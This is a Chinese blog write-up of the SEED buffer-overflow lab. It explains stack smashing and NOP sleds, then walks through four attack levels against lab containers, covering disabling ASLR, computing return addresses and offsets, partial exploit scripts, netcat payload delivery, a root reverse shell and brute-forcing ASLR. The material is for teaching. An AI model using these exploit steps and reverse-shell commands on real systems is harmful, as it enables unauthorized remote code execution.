SEED(2)-缓冲区溢出攻击(Buffer-Overflow Attack)

冷不防 2022-10-11 00:51 237阅读 0赞

### 1. 漏洞原理 ###

**漏洞代码示例：**

#include<string.h> void foo(char *str) { char buffer[12]; strcpy(buffer, str); } int main() { char *str = "This is definitely longer than 12"; foo(str); return 1; }

当把str的内容copy到buffer中，由于str的长度大于12，就会造成缓冲区buffer的溢出，str中多出的部分会存放在缓冲区的上方，我们的目的就是将代码植入到此处，然后让函数的**return Address**指向我们存放代码的地址**A**来执行**code**！

![8fca8763956e2d499e3b3ea4e8a39b70.png][]

**A**：code的起始地址

**Nop**：指令为0x90，执行该指令时什么都不做，一直往下执行。(在code与foo()之间填满Nop，便于找到地址A，return Address一旦指向其中一个Nop，就会执行到code的地址A)

![0cc6403f768b5133a755276b5f8fec08.png][]

### 2. 实验准备 ###

下载实验所需文件：[https://wwr.lanzoui.com/iUn5vql6ine][https_wwr.lanzoui.com_iUn5vql6ine]

进入到**/Buffer\_Overflow/Labsetup/server-code**路径下，执行：

$ make $ make install

$ cd .. #进入/Labsetup目录 $ dcbuild $ dcup

关闭防范机制：memory randomization

$ sudo sysctl -w kernel.randomize_va_space=0

### 3. Level 1 Attack:Get the Parameters(获取参数) ###

![1914086852f12896fce5be774d41fe1b.png][]

$ echo hello | nc 10.9.0.5 9090 ^C

若执行两次打印出的结果一致且输出地址为**0xffffxxxx**，则说明**memory randomization**已关闭；

**Container Console**

server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 6 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098 server-1-10.9.0.5 | ==== Returned Properly ==== server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 6 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098 server-1-10.9.0.5 | ==== Returned Properly ====

$ cd /Buffer_Overflow/Files
    $ vim exploit-L1.py

然后利用ebp 和 Buffer address 计算A的地址(ret)和offset：

**ret**(A) = **0xffffd108** \+ 8（min(A) = ebp + 8；max(A) = 517 - len(code)）

**offset** = **0xffffd108** \- **0xffffd098** \+ 4 = 116(十进制)

修改**exploit-L1.py**中ret和offset的值并保退出；然后运行：

$ python3 exploit-L1.py
    $ cat badfile | nc 10.9.0.5 9090

**Container Console**

若出现上面'**(^\_^) SUCCESS SUCCESS (^\_^)**'，说明成功！

### Get Revere Shell ###

修改**exploit-L1.py**文件**ret**和**A**的值：

################################################################## # Put the shellcode at the end content[517-len(shellcode):] = shellcode # You need to find the correct address # This should be the first instruction you want to return to ret = 0xffffd428+40 # You need to calculate the offset offset = 116 L = 4 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') ##################################################################

新建一个命令行窗口输入**$ nc -lnv 7070**开启监听

在另外一个窗口向server发送badfile文件

$ python3 exploit-L1.py $ cat badfile | nc 10.9.0.5 9090

监听窗口输出以下内容，说明成功获取Revere Shell；

Listening on 0.0.0.0 7070 Connection received on 10.9.0.5 51582 root@ec5152748270:/bof#

### 4. Level 2 Attack : Buffer Size Unknown ###

![257bd0839a53d6dbb043d6a97923aaa9.png][]

$ echo hello | nc 10.9.0.6 9090 ^C

**Container Console**

修改**exploit-L2.py**文件**ret**和**S**的值:

**S**：ref的个数 = buffersize/4(一个ref为4字节)

**ret**：BufferAddress + buffersize

################################################################## # Put the shellcode at the end of the buffer content[517-len(shellcode):] = shellcode # You need to find the correct address # This should be the first instruction you want to return to ret = 0xffffd368+360 # Spray the buffer with S number of return addresses # You need to decide the S value S = 90 for offset in range(S): content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little') ##################################################################

$ python3 exploit-L2.py $ cat badfile | nc 10.9.0.6 9090

**Container Console**

### 5. Level 3 Attack: 64-bit Server ###

原理：

*  ![06a9bec7f67f890a69cfc80b8e1d8317.png][]
 *  ![0be2384f4cb716b826dc12d9d0d5c49a.png][]

$ echo hello | nc 10.9.0.7 9090 ^C

**Container Console**

server-3-10.9.0.7 | Got a connection from 10.9.0.1 server-3-10.9.0.7 | Starting stack server-3-10.9.0.7 | Input size: 517 server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0 server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe200

修改**exploit-L3.py**文件中的start，ret和offset；

**start** = 40

**offset** = ebp - buffer + 8

**ret** = \[buffer，buffer + 40\]范围之间任选一个

$ python3 exploit-L3.py
    $ cat badfile | nc 10.9.0.7 9090

**Container Console**

### 6. Level 4 Attack: Small Buffer(64-bit) ###

![af491bf8e72105b8cfc18c9c3f4797fd.png][]

$ echo hello | nc 10.9.0.8 9090 ^C

**Container Console**

server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 6 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0 server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250 server-4-10.9.0.8 | ==== Returned Properly ====

修改**exploit-L4.py**文件

**ret = rbp + 1200**

$ python3 exploit-L4.py $ cat badfile | nc 10.9.0.8 9090

**Container Console**

server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 517 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0 server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250 server-4-10.9.0.8 | (^_^) SUCCESS SUCCESS (^_^)

**开启防范机制**

$ sudo sysctl -w kernel.randomize_va_space=2

执行**$ nc -lnv 7070**开启监

Listening on 0.0.0.0 7070

修改exploit为reverse shell

新建一个命令行窗口：

$ python3 exploit-L1.py $ chmod u+x brute-force.sh $ ./brute-force.sh

我这里总共用时8分12秒：

8 minutes and 12 seconds elapsed. The program has been running 27296 times so far. 8 minutes and 12 seconds elapsed. The program has been running 27297 times so far.

成功后监听窗口会返回shell

Connection received on 10.9.0.5 51372 root@ec5152748270:/bof#

[8fca8763956e2d499e3b3ea4e8a39b70.png]: /images/20221005/2dcce2b0ed494a90aa377d19c96ad336.png
[0cc6403f768b5133a755276b5f8fec08.png]: /images/20221005/f810d689d2914004bdd0d8ab037ec96e.png
[https_wwr.lanzoui.com_iUn5vql6ine]: https://wwr.lanzoui.com/iUn5vql6ine
[1914086852f12896fce5be774d41fe1b.png]: /images/20221005/39af1f9cbc9943fdbe78622146ce5731.png
[257bd0839a53d6dbb043d6a97923aaa9.png]: /images/20221005/e321bf31cb6849c6a80f33fbfe536c57.png
[06a9bec7f67f890a69cfc80b8e1d8317.png]: /images/20221005/51fe0f56f3684ce0bd3b70c78cccc65f.png
[0be2384f4cb716b826dc12d9d0d5c49a.png]: /images/20221005/3971faa315f842f58f87b4c1ef220048.png
[af491bf8e72105b8cfc18c9c3f4797fd.png]: /images/20221005/c91e5bff6d6d401b9bc8249497be82d3.png